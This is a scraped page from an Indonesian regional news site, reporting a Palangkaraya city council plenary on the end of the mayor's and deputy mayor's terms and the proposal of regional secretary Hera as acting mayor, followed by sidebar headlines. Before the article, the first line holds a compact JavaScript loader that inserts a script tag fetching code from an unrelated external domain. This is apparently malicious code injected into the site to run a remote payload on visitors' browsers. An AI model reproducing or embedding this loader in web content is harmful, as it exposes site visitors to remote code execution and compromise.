(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

DPRD Kota Palangkaraya Bahas Usulan Pengesahan Pemberhentian Wali Kota dan Wakil Wali Kota


KANALKALIMANTAN.COM,PALANGKARAYA- DPRD Kota Palangkaraya telah menggelar rapat paripurna untuk membahas usulan pengesahan pemberhentian Wali Kota Palangkaraya dan Wakil Wali Kota, yang masa jabatannya berlangsung dari tahun 2018 hingga 2023. Rapat ini berlangsung di ruangan rapat paripurna DPRD Kalteng pada Rabu, (10/08/2023).

Wakil Ketua I DPRD Kota Palangkaraya, Wahid Yusuf, memimpin jalannya persidangan dalam rapat paripurna ke-9 masa persidangan III tahun sidang 2022/2023. Wali Kota Palangkaraya, Fairid Naparin, juga hadir dalam rapat tersebut.

Wahid menjelaskan bahwa dalam rapat paripurna tersebut, dibahas usulan pemberhentian Wali Kota Palangkaraya dan Wakil Wali Kota, yang akan berakhir pada tanggal 24 September 2023.

Saat ini, Sekretaris Daerah (Sekda) Kota Palangkaraya telah diusulkan untuk menjadi Penjabat (Pj) Wali Kota.

“Untuk Pj Wali Kota, sudah ada beberapa nama yang diusulkan. Untuk sementara ini, nama Hera yang diusulkan,” ujarnya.

Dia menambahkan bahwa penetapan Pj Wali Kota akan ditentukan oleh Kementerian Dalam Negeri (Kemendagri). DPRD Kota Palangkaraya bertanggung jawab untuk mengusulkan nama kandidat Pj Wali Kota kepada Kemendagri sesuai dengan surat yang diterima dari Kemendagri.

Lebih lanjut, Wahid menjelaskan mengapa Hera diusulkan, “Karena beliau juga merupakan Sekda. Jadi, setidaknya dia memiliki pemahaman yang baik mengenai pembangunan yang masih berjalan dan yang belum selesai. Dengan pengalaman yang dimilikinya, diharapkan pembangunan dapat berlanjut dengan lancar.”

Rapat paripurna ini merupakan salah satu langkah dalam proses penggantian kepala daerah di Kota Palangkaraya dan menunjukkan komitmen DPRD untuk menjalankan tugasnya sesuai dengan peraturan yang berlaku dalam konteks pemerintahan daerah.(www.kanalkalimantan.com/hms)

Editor : kk


Muhammad Andi

Recent Posts

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

53 menit ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

1 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

3 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

23 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

1 hari ago

This website uses cookies.